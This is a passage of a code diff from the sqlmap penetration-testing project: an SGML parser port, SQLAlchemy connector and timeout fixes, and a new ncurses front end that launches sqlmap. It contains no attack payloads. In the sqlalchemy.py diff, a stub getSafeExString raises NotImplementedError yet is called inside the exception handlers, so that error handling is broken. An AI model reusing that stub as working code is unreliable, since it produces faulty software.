0 + self.literal = 0 + markupbase.ParserBase.reset(self) + + def setnomoretags(self): + """Enter literal mode (CDATA) till EOF. + + Intended for derived classes only. + """ + self.nomoretags = self.literal = 1 + + def setliteral(self, *args): + """Enter literal mode (CDATA). + + Intended for derived classes only. + """ + self.literal = 1 + + def feed(self, data): + """Feed some data to the parser. + + Call this as often as you want, with as little or as much text + as you want (may include '\n'). (This just saves the text, + all the processing is done by goahead().) + """ + + self.rawdata = self.rawdata + data + self.goahead(0) + + def close(self): + """Handle the remaining data.""" + self.goahead(1) + + def error(self, message): + raise SGMLParseError(message) + + # Internal -- handle data as far as reasonable. May leave state + # and data to be processed by a subsequent call. If 'end' is + # true, force handling all data as if followed by EOF marker. + def goahead(self, end): + rawdata = self.rawdata + i = 0 + n = len(rawdata) + while i < n: + if self.nomoretags: + self.handle_data(rawdata[i:n]) + i = n + break + match = interesting.search(rawdata, i) + if match: + j = match.start() + else: + j = n + if i < j: + self.handle_data(rawdata[i:j]) + i = j + if i == n: + break + if rawdata[i] == '<': + if starttagopen.match(rawdata, i): + if self.literal: + self.handle_data(rawdata[i]) + i = i + 1 + continue + k = self.parse_starttag(i) + if k < 0: + break + i = k + continue + if rawdata.startswith("</", i): + k = self.parse_endtag(i) + if k < 0: + break + i = k + self.literal = 0 + continue + if self.literal: + if n > (i + 1): + self.handle_data("<") + i = i + 1 + else: + # incomplete + break + continue + if rawdata.startswith("<!--", i): + # Strictly speaking, a comment is --.*-- + # within a declaration tag <!...>. + # This should be removed, + # and comments handled only in parse_declaration. + k = self.parse_comment(i) + if k < 0: + break + i = k + continue + if rawdata.startswith("<?", i): + k = self.parse_pi(i) + if k < 0: + break + i = i + k + continue + if rawdata.startswith("<!", i): + # This is some sort of declaration; in "HTML as + # deployed," this should only be the document type + # declaration ("<!DOCTYPE html...>"). + k = self.parse_declaration(i) + if k < 0: + break + i = k + continue + elif rawdata[i] == '&': + if self.literal: + self.handle_data(rawdata[i]) + i = i + 1 + continue + match = charref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_charref(name) + i = match.end(0) + if rawdata[i - 1] != ';': + i = i - 1 + continue + match = entityref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_entityref(name) + i = match.end(0) + if rawdata[i - 1] != ';': + i = i - 1 + continue + else: + self.error('neither < nor & ??') + # We get here only if incomplete matches but + # nothing else + match = incomplete.match(rawdata, i) + if not match: + self.handle_data(rawdata[i]) + i = i + 1 + continue + j = match.end(0) + if j == n: + break # Really incomplete + self.handle_data(rawdata[i:j]) + i = j + # end while + if end and i < n: + self.handle_data(rawdata[i:n]) + i = n + self.rawdata = rawdata[i:] + # XXX if end: check for empty stack + + # Extensions for the DOCTYPE scanner: + _decl_otherchars = '=' + + # Internal -- parse processing instr, return length or -1 if not terminated + def parse_pi(self, i): + rawdata = self.rawdata + if rawdata[i:i + 2] != '<?': + self.error('unexpected call to parse_pi()') + match = piclose.search(rawdata, i + 2) + if not match: + return -1 + j = match.start(0) + self.handle_pi(rawdata[i + 2: j]) + j = match.end(0) + return j - i + + def get_starttag_text(self): + return self.__starttag_text + + # Internal -- handle starttag, return length or -1 if not terminated + def parse_starttag(self, i): + self.__starttag_text = None + start_pos = i + rawdata = self.rawdata + if shorttagopen.match(rawdata, i): + # SGML shorthand: <tag/data/ == <tag>data</tag> + # XXX Can data contain &... (entity or char refs)? + # XXX Can data contain < or > (tag characters)? + # XXX Can there be whitespace before the first /? + match = shorttag.match(rawdata, i) + if not match: + return -1 + tag, data = match.group(1, 2) + self.__starttag_text = '<%s/' % tag + tag = tag.lower() + k = match.end(0) + self.finish_shorttag(tag, data) + self.__starttag_text = rawdata[start_pos:match.end(1) + 1] + return k + # XXX The following should skip matching quotes (' or ") + # As a shortcut way to exit, this isn't so bad, but shouldn't + # be used to locate the actual end of the start tag since the + # < or > characters may be embedded in an attribute value. + match = endbracket.search(rawdata, i + 1) + if not match: + return -1 + j = match.start(0) + # Now parse the data between i + 1 and j into a tag and attrs + attrs = [] + if rawdata[i:i + 2] == '<>': + # SGML shorthand: <> == <last open tag seen> + k = j + tag = self.lasttag + else: + match = tagfind.match(rawdata, i + 1) + if not match: + self.error('unexpected call to parse_starttag') + k = match.end(0) + tag = rawdata[i + 1:k].lower() + self.lasttag = tag + while k < j: + match = attrfind.match(rawdata, k) + if not match: + break + attrname, rest, attrvalue = match.group(1, 2, 3) + if not rest: + attrvalue = attrname + else: + if (attrvalue[:1] == "'" == attrvalue[-1:] or + attrvalue[:1] == '"' == attrvalue[-1:]): + # strip quotes + attrvalue = attrvalue[1:-1] + attrvalue = self.entity_or_charref.sub( + self._convert_ref, attrvalue) + attrs.append((attrname.lower(), attrvalue)) + k = match.end(0) + if rawdata[j] == '>': + j = j + 1 + self.__starttag_text = rawdata[start_pos:j] + self.finish_starttag(tag, attrs) + return j + + # Internal -- convert entity or character reference + def _convert_ref(self, match): + if match.group(2): + return self.convert_charref(match.group(2)) or \ + '&#%s%s' % match.groups()[1:] + elif match.group(3): + return self.convert_entityref(match.group(1)) or \ + '&%s;' % match.group(1) + else: + return '&%s' % match.group(1) + + # Internal -- parse endtag + def parse_endtag(self, i): + rawdata = self.rawdata + match = endbracket.search(rawdata, i + 1) + if not match: + return -1 + j = match.start(0) + tag = rawdata[i + 2:j].strip().lower() + if rawdata[j] == '>': + j = j + 1 + self.finish_endtag(tag) + return j + + # Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>) + def finish_shorttag(self, tag, data): + self.finish_starttag(tag, []) + self.handle_data(data) + self.finish_endtag(tag) + + # Internal -- finish processing of start tag + # Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag + def finish_starttag(self, tag, attrs): + try: + method = getattr(self, 'start_' + tag) + except AttributeError: + try: + method = getattr(self, 'do_' + tag) + except AttributeError: + self.unknown_starttag(tag, attrs) + return -1 + else: + self.handle_starttag(tag, method, attrs) + return 0 + else: + self.stack.append(tag) + self.handle_starttag(tag, method, attrs) + return 1 + + # Internal -- finish processing of end tag + def finish_endtag(self, tag): + if not tag: + found = len(self.stack) - 1 + if found < 0: + self.unknown_endtag(tag) + return + else: + if tag not in self.stack: + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + self.unknown_endtag(tag) + else: + self.report_unbalanced(tag) + return + found = len(self.stack) + for i in range(found): + if self.stack[i] == tag: + found = i + while len(self.stack) > found: + tag = self.stack[-1] + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + method = None + if method: + self.handle_endtag(tag, method) + else: + self.unknown_endtag(tag) + del self.stack[-1] + + # Overridable -- handle start tag + def handle_starttag(self, tag, method, attrs): + method(attrs) + + # Overridable -- handle end tag + def handle_endtag(self, tag, method): + method() + + # Example -- report an unbalanced </...> tag. + def report_unbalanced(self, tag): + if self.verbose: + print('*** Unbalanced </' + tag + '>') + print('*** Stack:', self.stack) + + def convert_charref(self, name): + """Convert character reference, may be overridden.""" + try: + n = int(name) + except ValueError: + return + if not 0 <= n <= 127: + return + return self.convert_codepoint(n) + + def convert_codepoint(self, codepoint): + return chr(codepoint) + + def handle_charref(self, name): + """Handle character reference, no need to override.""" + replacement = self.convert_charref(name) + if replacement is None: + self.unknown_charref(name) + else: + self.handle_data(replacement) + + # Definition of entities -- derived classes may override + entitydefs = \ + {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} + + def convert_entityref(self, name): + """Convert entity references. + + As an alternative to overriding this method; one can tailor the + results by setting up the self.entitydefs mapping appropriately. + """ + table = self.entitydefs + if name in table: + return table[name] + else: + return + + def handle_entityref(self, name): + """Handle entity references, no need to override.""" + replacement = self.convert_entityref(name) + if replacement is None: + self.unknown_entityref(name) + else: + self.handle_data(replacement) + + # Example -- handle data, should be overridden + def handle_data(self, data): + pass + + # Example -- handle comment, could be overridden + def handle_comment(self, data): + pass + + # Example -- handle declaration, could be overridden + def handle_decl(self, decl): + pass + + # Example -- handle processing instruction, could be overridden + def handle_pi(self, data): + pass + + # To be overridden -- handlers for unknown objects + def unknown_starttag(self, tag, attrs): + pass + + def unknown_endtag(self, tag): + pass + + def unknown_charref(self, ref): + pass + + def unknown_entityref(self, ref): + pass + + +class TestSGMLParser(SGMLParser): + + def __init__(self, verbose=0): + self.testdata = "" + SGMLParser.__init__(self, verbose) + + def handle_data(self, data): + self.testdata = self.testdata + data + if len(repr(self.testdata)) >= 70: + self.flush() + + def flush(self): + data = self.testdata + if data: + self.testdata = "" + print('data:', repr(data)) + + def handle_comment(self, data): + self.flush() + r = repr(data) + if len(r) > 68: + r = r[:32] + '...' + r[-32:] + print('comment:', r) + + def unknown_starttag(self, tag, attrs): + self.flush() + if not attrs: + print('start tag: <' + tag + '>') + else: + print('start tag: <' + tag, end=' ') + for name, value in attrs: + print(name + '=' + '"' + value + '"', end=' ') + print('>') + + def unknown_endtag(self, tag): + self.flush() + print('end tag: </' + tag + '>') + + def unknown_entityref(self, ref): + self.flush() + print('*** unknown entity ref: &' + ref + ';') + + def unknown_charref(self, ref): + self.flush() + print('*** unknown char ref: &#' + ref + ';') + + def unknown_decl(self, data): + self.flush() + print('*** unknown decl: [' + data + ']') + + def close(self): + SGMLParser.close(self) + self.flush() + + +def test(args=None): + import sys + + if args is None: + args = sys.argv[1:] + + if args and args[0] == '-s': + args = args[1:] + klass = SGMLParser + else: + klass = TestSGMLParser + + if args: + file = args[0] + else: + file = 'test.html' + + if file == '-': + f = sys.stdin + else: + try: + f = open(file, 'r') + except IOError as msg: + print(file, ":", msg) + sys.exit(1) + + data = f.read() + if f is not sys.stdin: + f.close() + + x = klass() + for c in data: + x.feed(c) + x.close() + + +if __name__ == '__main__': + test() diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 0752ccdd893..7506b42a79f 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,31 +1,35 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import imp +import importlib import logging import os +import re import sys import traceback import warnings +_path = list(sys.path) _sqlalchemy = None try: - f, pathname, desc = imp.find_module("sqlalchemy", sys.path[1:]) - _ = imp.load_module("sqlalchemy", f, pathname, desc) - if hasattr(_, "dialects"): - _sqlalchemy = _ + sys.path = sys.path[1:] + module = importlib.import_module("sqlalchemy") + if hasattr(module, "dialects"): + _sqlalchemy = module warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) -except ImportError: +except: pass +finally: + sys.path = _path try: import MySQLdb # used by SQLAlchemy in case of MySQL warnings.filterwarnings("error", category=MySQLdb.Warning) -except ImportError: +except (ImportError, AttributeError): pass from lib.core.data import conf @@ -34,11 +38,29 @@ from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector +from thirdparty import six +from thirdparty.six.moves import urllib as _urllib + +def getSafeExString(ex, encoding=None): # Cross-referenced function + raise NotImplementedError class SQLAlchemy(GenericConnector): def __init__(self, dialect=None): GenericConnector.__init__(self) + self.dialect = dialect + self.address = conf.direct + + if conf.dbmsUser: + self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) + self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) + + if conf.dbmsPass: + self.address = self.address.replace(":'%s'@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) + self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) + + if self.dialect: + self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address) def connect(self): if _sqlalchemy: @@ -49,18 +71,15 @@ def connect(self): if not os.path.exists(self.db): raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) - _ = conf.direct.split("//", 1) - conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) - - if self.dialect: - conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) + _ = self.address.split("//", 1) + self.address = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect == "sqlite": - engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False}) + engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False}) elif self.dialect == "oracle": - engine = _sqlalchemy.create_engine(conf.direct) + engine = _sqlalchemy.create_engine(self.address) else: - engine = _sqlalchemy.create_engine(conf.direct, connect_args={}) + engine = _sqlalchemy.create_engine(self.address, connect_args={}) self.connector = engine.connect() except (TypeError, ValueError): @@ -73,15 +92,16 @@ def connect(self): pass elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") - raise + else: + pass except SqlmapFilePathException: raise except Exception as ex: - raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % ex[0]) + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) self.printConnected() else: - raise SqlmapMissingDependence("SQLAlchemy not available") + raise SqlmapMissingDependence("SQLAlchemy not available (e.g. 'pip%s install SQLAlchemy')" % ('3' if six.PY3 else "")) def fetchall(self): try: @@ -90,17 +110,30 @@ def fetchall(self): retVal.append(tuple(row)) return retVal except _sqlalchemy.exc.ProgrammingError as ex: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % ex.message if hasattr(ex, "message") else ex) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): + retVal = False + + # Reference: https://stackoverflow.com/a/69491015 + if hasattr(_sqlalchemy, "text"): + query = _sqlalchemy.text(query) + try: self.cursor = self.connector.execute(query) + retVal = True except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % ex.message if hasattr(ex, "message") else ex) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except _sqlalchemy.exc.InternalError as ex: - raise SqlmapConnectionException(ex[1]) + raise SqlmapConnectionException(getSafeExString(ex)) + + return retVal def select(self, query): - self.execute(query) - return self.fetchall() + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 4f661769f06..0b252547e00 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,7 +11,7 @@ from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import TIMEOUT_STATE -def timeout(func, args=(), kwargs={}, duration=1, default=None): +def timeout(func, args=None, kwargs=None, duration=1, default=None): class InterruptableThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) @@ -20,7 +20,7 @@ def __init__(self): def run(self): try: - self.result = func(*args, **kwargs) + self.result = func(*(args or ()), **(kwargs or {})) self.timeout_state = TIMEOUT_STATE.NORMAL except Exception as ex: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, ex) @@ -31,7 +31,7 @@ def run(self): thread.start() thread.join(duration) - if thread.isAlive(): + if thread.is_alive(): return default, TIMEOUT_STATE.TIMEOUT else: return thread.result, thread.timeout_state diff --git a/lib/utils/tui.py b/lib/utils/tui.py new file mode 100644 index 00000000000..d785e5f7673 --- /dev/null +++ b/lib/utils/tui.py @@ -0,0 +1,768 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import subprocess +import sys +import tempfile + +try: + import curses +except ImportError: + curses = None + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import IS_WIN +from thirdparty.six.moves import configparser as _configparser + +class NcursesUI: + def __init__(self, stdscr, parser): + self.stdscr = stdscr + self.parser = parser + self.current_tab = 0 + self.current_field = 0 + self.scroll_offset = 0 + self.tabs = [] + self.fields = {} + self.running = False + self.process = None + + # Initialize colors + curses.start_color() + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) # Header + curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE) # Active tab + curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) # Inactive tab + curses.init_pair(4, curses.COLOR_YELLOW, curses.COLOR_BLACK) # Selected field + curses.init_pair(5, curses.COLOR_GREEN, curses.COLOR_BLACK) # Help text + curses.init_pair(6, curses.COLOR_RED, curses.COLOR_BLACK) # Error/Important + curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_BLACK) # Label + + # Setup curses + curses.curs_set(1) + self.stdscr.keypad(1) + + # Parse option groups + self._parse_options() + + def _parse_options(self): + """Parse command line options into tabs and fields""" + for group in self.parser.option_groups: + tab_data = { + 'title': group.title, + 'description': group.get_description() if hasattr(group, 'get_description') and group.get_description() else "", + 'options': [] + } + + for option in group.option_list: + field_data = { + 'dest': option.dest, + 'label': self._format_option_strings(option), + 'help': option.help if option.help else "", + 'type': option.type if hasattr(option, 'type') and option.type else 'bool', + 'value': '', + 'default': defaults.get(option.dest) if defaults.get(option.dest) else None + } + tab_data['options'].append(field_data) + self.fields[(group.title, option.dest)] = field_data + + self.tabs.append(tab_data) + + def _format_option_strings(self, option): + """Format option strings for display""" + parts = [] + if hasattr(option, '_short_opts') and option._short_opts: + parts.extend(option._short_opts) + if hasattr(option, '_long_opts') and option._long_opts: + parts.extend(option._long_opts) + return ', '.join(parts) + + def _draw_header(self): + """Draw the header bar""" + height, width = self.stdscr.getmaxyx() + header = " sqlmap - ncurses TUI " + self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) + self.stdscr.addstr(0, 0, header.center(width)) + self.stdscr.attroff(curses.color_pair(1) | curses.A_BOLD) + + def _get_tab_bar_height(self): + """Calculate how many rows the tab bar uses""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % tab['title'] + + # Check if tab exceeds width, wrap to next line + if x + len(tab_text) >= width: + y += 1 + x = 0 + # Stop if we've used too many lines + if y >= 3: + break + + x += len(tab_text) + 1 + + return y + + def _draw_tabs(self): + """Draw the tab bar""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % tab['title'] + + # Check if tab exceeds width, wrap to next line + if x + len(tab_text) >= width: + y += 1 + x = 0 + # Stop if we've used too many lines + if y >= 3: + break + + if i == self.current_tab: + self.stdscr.attron(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attron(curses.color_pair(3)) + + try: + self.stdscr.addstr(y, x, tab_text) + except: + pass + + if i == self.current_tab: + self.stdscr.attroff(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attroff(curses.color_pair(3)) + + x += len(tab_text) + 1 + + def _draw_footer(self): + """Draw the footer with help text""" + height, width = self.stdscr.getmaxyx() + footer = " [Tab] Next | [Arrows] Navigate | [Enter] Edit | [F2] Run | [F3] Export | [F4] Import | [F10] Quit " + + try: + self.stdscr.attron(curses.color_pair(1)) + self.stdscr.addstr(height - 1, 0, footer.ljust(width)) + self.stdscr.attroff(curses.color_pair(1)) + except: + pass + + def _draw_current_tab(self): + """Draw the current tab content""" + height, width = self.stdscr.getmaxyx() + tab = self.tabs[self.current_tab] + + # Calculate tab bar height + tab_bar_height = self._get_tab_bar_height() + start_y = tab_bar_height + 1 + + # Clear content area + for y in range(start_y, height - 1): + try: + self.stdscr.addstr(y, 0, " " * width) + except: + pass + + y = start_y + + # Draw description if exists + if tab['description']: + desc_lines = self._wrap_text(tab['description'], width - 4) + for line in desc_lines[:2]: # Limit to 2 lines + try: + self.stdscr.attron(curses.color_pair(5)) + self.stdscr.addstr(y, 2, line) + self.stdscr.attroff(curses.color_pair(5)) + y += 1 + except: + pass + y += 1 + + # Draw options + visible_start = self.scroll_offset + visible_end = visible_start + (height - y - 2) + + for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): + if y >= height - 2: + break + + is_selected = (i == self.current_field) + + # Draw label + label = option['label'][:25].ljust(25) + try: + if is_selected: + self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) + else: + self.stdscr.attron(curses.color_pair(7)) + + self.stdscr.addstr(y, 2, label) + + if is_selected: + self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) + else: + self.stdscr.attroff(curses.color_pair(7)) + except: + pass + + # Draw value + value_str = "" + if option['type'] == 'bool': + value = option['value'] if option['value'] is not None else option.get('default') + value_str = "[X]" if value else "[ ]" + else: + value_str = str(option['value']) if option['value'] else "" + if option['default'] and not option['value']: + value_str = "(%s)" % str(option['default']) + + value_str = value_str[:30] + + try: + if is_selected: + self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) + self.stdscr.addstr(y, 28, value_str) + if is_selected: + self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) + except: + pass + + # Draw help text + if width > 65: + help_text = option['help'][:width-62] if option['help'] else "" + try: + self.stdscr.attron(curses.color_pair(5)) + self.stdscr.addstr(y, 60, help_text) + self.stdscr.attroff(curses.color_pair(5)) + except: + pass + + y += 1 + + # Draw scroll indicator + if len(tab['options']) > visible_end - visible_start: + try: + self.stdscr.attron(curses.color_pair(6)) + self.stdscr.addstr(height - 2, width - 10, "[More...]") + self.stdscr.attroff(curses.color_pair(6)) + except: + pass + + def _wrap_text(self, text, width): + """Wrap text to fit within width""" + words = text.split() + lines = [] + current_line = "" + + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += word + " " + else: + if current_line: + lines.append(current_line.strip()) + current_line = word + " " + + if current_line: + lines.append(current_line.strip()) + + return lines + + def _edit_field(self): + """Edit the current field""" + tab = self.tabs[self.current_tab] + if self.current_field >= len(tab['options']): + return + + option = tab['options'][self.current_field] + + if option['type'] == 'bool': + # Toggle boolean + option['value'] = not option['value'] + else: + # Text input + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "Value:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + # Pre-fill with existing value + current_value = str(option['value']) if option['value'] else "" + input_win.addstr(2, 9, current_value) + input_win.move(2, 9) + + try: + new_value = input_win.getstr(2, 9, width - 32).decode('utf-8') + + # Validate and convert based on type + if option['type'] == 'int': + try: + option['value'] = int(new_value) if new_value else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(new_value) if new_value else None + except ValueError: + option['value'] = None + else: + option['value'] = new_value if new_value else None + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _export_config(self): + """Export current configuration to a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Export Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename: + # Collect all field values + config = {} + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for option in self.parser.option_list: + if option.dest not in config or config[option.dest] is None: + config[option.dest] = defaults.get(option.dest, None) + + # Save config + try: + saveConfig(config, filename) + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Export Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Configuration exported to:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Export Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _import_config(self): + """Import configuration from a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Import Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename and os.path.isfile(filename): + try: + # Read config file + config = _configparser.ConfigParser() + config.read(filename) + + imported_count = 0 + + # Load values into fields + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + + # Search for option in all sections + for section in config.sections(): + if config.has_option(section, dest): + value = config.get(section, dest) + + # Convert based on type + if option['type'] == 'bool': + option['value'] = value.lower() in ('true', '1', 'yes', 'on') + elif option['type'] == 'int': + try: + option['value'] = int(value) if value else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(value) if value else None + except ValueError: + option['value'] = None + else: + option['value'] = value if value else None + + imported_count += 1 + break + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Import Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Imported %d options from:" % imported_count) + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Import Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + elif filename: + # File not found + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " File Not Found ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, "File does not exist:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _run_sqlmap(self): + """Run sqlmap with current configuration""" + config = {} + + # Collect all field values + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for option in self.parser.option_list: + if option.dest not in config or config[option.dest] is None: + config[option.dest] = defaults.get(option.dest, None) + + # Create temp config file + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + + saveConfig(config, configFile) + + # Show console + self._show_console(configFile) + + def _show_console(self, configFile): + """Show console output from sqlmap""" + height, width = self.stdscr.getmaxyx() + + # Create console window + console_win = curses.newwin(height - 4, width - 4, 2, 2) + console_win.box() + console_win.attron(curses.color_pair(2)) + console_win.addstr(0, 2, " sqlmap Console - Press Q to close ") + console_win.attroff(curses.color_pair(2)) + console_win.refresh() + + # Create output area + output_win = console_win.derwin(height - 8, width - 8, 2, 2) + output_win.scrollok(True) + output_win.idlok(True) + + # Start sqlmap process + try: + process = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + stdin=subprocess.PIPE, + bufsize=1, + close_fds=not IS_WIN + ) + + if not IS_WIN: + # Make it non-blocking + import fcntl + flags = fcntl.fcntl(process.stdout, fcntl.F_GETFL) + fcntl.fcntl(process.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK) + + output_win.nodelay(True) + console_win.nodelay(True) + + lines = [] + current_line = "" + + while True: + # Check for user input + try: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + # Kill process + process.terminate() + break + elif key == curses.KEY_ENTER or key == 10: + # Send newline to process + if process.poll() is None: + try: + process.stdin.write(b'\n') + process.stdin.flush() + except: + pass + except: + pass + + # Read output + try: + chunk = process.stdout.read(1024) + if chunk: + current_line += chunk.decode('utf-8', errors='ignore') + + # Split into lines + while '\n' in current_line: + line, current_line = current_line.split('\n', 1) + lines.append(line) + + # Keep only last N lines + if len(lines) > 1000: + lines = lines[-1000:] + + # Display lines + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + output_win.refresh() + console_win.refresh() + except: + pass + + # Check if process ended + if process.poll() is not None: + # Read remaining output + try: + remaining = process.stdout.read() + if 